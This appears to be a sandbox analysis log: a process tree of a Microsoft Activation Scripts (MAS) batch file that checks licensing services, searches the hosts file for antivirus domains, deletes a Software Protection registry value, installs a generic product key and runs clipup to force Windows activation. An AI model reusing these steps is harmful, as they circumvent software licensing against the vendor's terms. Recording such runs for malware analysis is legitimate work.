C:\Windows\System32\find.exefind /i "Subscription_is_activated"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 10 Pro" "9⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"9⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$job = Start-Job { (Get-WmiObject -Query 'SELECT * FROM SoftwareLicensingService').Version }; if (-not (Wait-Job $job -Timeout 30)) {write-host 'sppsvc is not working correctly. Check this webpage for help - https://massgrave.dev/troubleshoot'}"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value9⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE9⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 l.root-servers.net9⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net10⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s9⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"9⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "9⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"9⤵
-
-
C:\Windows\System32\sc.exesc query Null9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState9⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState10⤵
-
-
-
C:\Windows\System32\sc.exesc start ClipSVC9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DependOnService9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Description9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DisplayName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ErrorControl9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ImagePath9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ObjectName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Start9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Type9⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wlidsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DependOnService9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Description9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DisplayName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ErrorControl9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ImagePath9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ObjectName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Start9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Type9⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type9⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start KeyIso9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DependOnService9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Description9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DisplayName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ErrorControl9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ImagePath9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ObjectName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Start9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Type9⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start LicenseManager9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DependOnService9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Description9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DisplayName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ErrorControl9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ImagePath9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ObjectName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Start9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Type9⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start Winmgmt9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start9⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type9⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start ClipSVC9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wlidsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start KeyIso9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start LicenseManager9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\sc.exesc start wlidsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager9⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt9⤵
- Launches sc.exe
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value9⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"9⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version9⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 09⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0" "9⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440 0x80131501"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul9⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore10⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'C:\Windows\System32\spp\store\2.0' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow FullControl') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SYSTEM\WPA' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow QueryValues, EnumerateSubKeys, WriteKey') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow SetValue') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"9⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies"9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$netServ = (New-Object Security.Principal.SecurityIdentifier('S-1-5-20')).Translate([Security.Principal.NTAccount]).Value; $aclString = Get-Acl 'Registry::HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies' | Format-List | Out-String; if (-not ($aclString.Contains($netServ + ' Allow FullControl') -or $aclString.Contains('NT SERVICE\sppsvc Allow FullControl')) -or ($aclString.Contains('Deny'))) {Exit 3}"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))" 2>nul9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))"10⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE" 2>nul9⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE10⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE" 2>nul9⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE10⤵
-
-
-
C:\Windows\System32\sc.exesc query wlms9⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SLsvc.exe"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"9⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe\PerfOptions"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul9⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"10⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Get-WmiObject -Query 'SELECT Description FROM SoftwareLicensingProduct WHERE PartialProductKey IS NOT NULL AND LicenseDependsOn IS NULL' | Select-Object -Property Description"9⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "KMS_"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]" 2>nul9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]"10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "9⤵
-
-
C:\Windows\System32\find.exefind /i "Ready"9⤵
-
-
C:\Windows\System32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "actionlist" /f9⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Removed" "9⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Removed Not Found"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul9⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "040fa323-92b1-4baf-97a2-5b67feaefddb 0724cb7d-3437-4cb7-93cb-830375d0079d 0ad2ac98-7bb9-4201-8d92-312299201369 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5 221a02da-e2a1-4b75-864c-0a4410a33fdf 291ece0e-9c38-40ca-a9e1-32cc7ec19507 2936d1d2-913a-4542-b54e-ce5a602a2a38 2c293c26-a45a-4a2a-a350-c69a67097529 2de67392-b7a7-462a-b1ca-108dd189f588 2ffd8952-423e-4903-b993-72a1aa44cf82 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf 3502365a-f88a-4ba4-822a-5769d3073b65 377333b1-8b5d-48d6-9679-1225c872d37c 3df374ef-d444-4494-a5a1-4b0d9fd0e203 3f1afc82-f8ac-4f6c-8005-1d233e606eee 49cd895b-53b2-4dc4-a5f7-b18aa019ad37 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c 4f3da0d2-271d-4508-ae81-626b60809a38 60b3ec1b-9545-4921-821f-311b129dd6f6 613d217f-7f13-4268-9907-1662339531cd 62f0c100-9c53-4e02-b886-a3528ddfe7f6 6365275e-368d-46ca-a0ef-fc0404119333 721f9237-9341-4453-a661-09e8baa6cca5 73111121-5638-40f6-bc11-f1d7b0d64300 7a802526-4c94-4bd1-ba14-835a1aca2120 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69 82bbc092-bc50-4e16-8e18-b74fc486aec3 8ab9bdd1-1f67-4997-82d9-8878520837d9 8b351c9c-f398-4515-9900-09df49427262 90da7373-1c51-430b-bf26-c97e9c5cdc31 95dca82f-385d-4d39-b85b-5c73fa285d6f a48938aa-62fa-4966-9d44-9f04da3f72f2 b0773a15-df3a-4312-9ad2-83d69648e356 b4bfe195-541e-4e64-ad23-6177f19e395e b68e61d2-68ca-4757-be45-0cc2f3e68eee bd3762d7-270d-4760-8fb3-d829ca45278a c86d5194-4840-4dae-9c1c-0301003a5ab0 d552befb-48cc-4327-8f39-47d2d94f987c d6eadb3b-5ca8-4a6b-986e-35b550756111 df96023b-dcd9-4be2-afa0-c6c871159ebe e0c42288-980c-4788-a014-c080d2e1926e e4db50ea-bda1-4566-b047-0ca50abc6f07 e558417a-5123-4f6f-91e7-385c1c7ca9d4 e7a950a2-e548-4f10-bf16-02ec848e0643 eb6d346f-1c60-4643-b960-40ec31596c45 ec868e65-fadf-4759-b23e-93fe37f2cc29 ef51e000-2659-4f25-8345-3de70a9cf4c4 f7af7d09-40e4-419c-a49b-eae366689ebd fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab fe74f55b-0338-41d6-b267-4a201abe7285 " "9⤵
-
-
C:\Windows\System32\find.exefind /i "4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c"9⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="VK7JG-NPHTM-C97JM-9MPGT-3V66T"9⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 09⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Name 2>nul9⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Name10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Nation 2>nul9⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Nation10⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':sign\:.*';. ([scriptblock]::Create($f[1]))"9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Restart-Service ClipSVC } | Wait-Job -Timeout 20 | Out-Null"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\ClipUp.execlipup -v -o9⤵
-
C:\Windows\System32\clipup.execlipup -v -o -ppl C:\Users\Admin\AppData\Local\Temp\temDFB3.tmp10⤵
- Checks SCSI registry key(s)
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 10 Pro" "9⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"9⤵
-
-
